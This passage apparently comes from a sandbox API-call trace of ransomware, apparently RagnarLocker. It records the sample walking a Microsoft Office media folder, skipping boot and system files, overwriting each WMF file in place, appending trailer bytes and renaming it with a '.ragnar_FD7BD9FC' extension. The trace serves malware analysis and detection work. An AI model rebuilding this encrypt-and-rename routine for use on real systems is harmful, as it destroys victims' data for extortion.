nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.465] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.466] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.466] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.466] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.466] GetProcessHeap () returned 0x580000 [0095.466] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.466] CloseHandle (hObject=0x104) returned 1 [0095.466] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" [0095.466] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.ragnar_FD7BD9FC" [0095.466] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.467] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0095.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.467] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0186348.WMF" | out: lpString1="J0186348.WMF") returned="J0186348.WMF" [0095.467] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned=".WMF" [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="autorun.inf") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="boot.ini") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootfont.bin") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootsect.bak") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootmgr") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootmgr.efi") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootmgfw.efi") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="desktop.ini") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="iconcache.db") returned 1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ntldr") returned -1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ntuser.dat") returned -1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ntuser.dat.log") returned -1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ntuser.ini") returned -1 [0095.467] lstrcmpiW (lpString1="J0186348.WMF", lpString2="thumbs.db") returned -1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.467] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf")) returned 0x20 [0095.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.468] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6970) returned 1 [0095.468] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1b31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.468] GetProcessHeap () returned 0x580000 [0095.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.468] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.470] VirtualAlloc (lpAddress=0x0, dwSize=0x1b3a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.470] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.470] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.470] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b3a, lpOverlapped=0x0) returned 1 [0095.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.471] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.471] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b3a, lpOverlapped=0x0) returned 1 [0095.471] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.471] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.471] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.471] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.471] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.471] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.471] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.472] GetProcessHeap () returned 0x580000 [0095.472] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.472] CloseHandle (hObject=0x104) returned 1 [0095.472] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" [0095.472] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.ragnar_FD7BD9FC" [0095.472] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.472] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0095.472] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.472] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0187423.WMF" | out: lpString1="J0187423.WMF") returned="J0187423.WMF" [0095.472] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned=".WMF" [0095.472] lstrcmpiW (lpString1="J0187423.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="autorun.inf") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="boot.ini") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootfont.bin") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootsect.bak") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootmgr") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootmgr.efi") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootmgfw.efi") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="desktop.ini") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="iconcache.db") returned 1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ntldr") returned -1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ntuser.dat") returned -1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ntuser.dat.log") returned -1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ntuser.ini") returned -1 [0095.473] lstrcmpiW (lpString1="J0187423.WMF", lpString2="thumbs.db") returned -1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.473] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf")) returned 0x20 [0095.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.474] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18246) returned 1 [0095.474] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x473d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.474] GetProcessHeap () returned 0x580000 [0095.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.474] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.475] VirtualAlloc (lpAddress=0x0, dwSize=0x4746, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.475] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.475] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4746, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4746, lpOverlapped=0x0) returned 1 [0095.476] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.477] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4746, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.477] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4746, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4746, lpOverlapped=0x0) returned 1 [0095.477] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4746, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.477] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4746, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.477] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.477] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.477] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.477] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.477] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.477] GetProcessHeap () returned 0x580000 [0095.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.477] CloseHandle (hObject=0x104) returned 1 [0095.478] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" [0095.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.ragnar_FD7BD9FC" [0095.478] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.478] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0095.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.478] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0195384.WMF" | out: lpString1="J0195384.WMF") returned="J0195384.WMF" [0095.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned=".WMF" [0095.478] lstrcmpiW (lpString1="J0195384.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.478] lstrcmpiW (lpString1="J0195384.WMF", lpString2="autorun.inf") returned 1 [0095.478] lstrcmpiW (lpString1="J0195384.WMF", lpString2="boot.ini") returned 1 [0095.478] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootfont.bin") returned 1 [0095.478] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootsect.bak") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootmgr") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootmgr.efi") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootmgfw.efi") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="desktop.ini") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="iconcache.db") returned 1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ntldr") returned -1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ntuser.dat") returned -1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ntuser.dat.log") returned -1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ntuser.ini") returned -1 [0095.479] lstrcmpiW (lpString1="J0195384.WMF", lpString2="thumbs.db") returned -1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.479] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf")) returned 0x20 [0095.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.480] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12762) returned 1 [0095.480] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x31d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.480] GetProcessHeap () returned 0x580000 [0095.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.480] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.481] VirtualAlloc (lpAddress=0x0, dwSize=0x31da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.481] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.481] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.481] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31da, lpOverlapped=0x0) returned 1 [0095.483] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.483] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31da, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.483] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31da, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31da, lpOverlapped=0x0) returned 1 [0095.483] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.483] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.483] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x31da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.483] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.483] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.483] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.484] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.484] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.484] GetProcessHeap () returned 0x580000 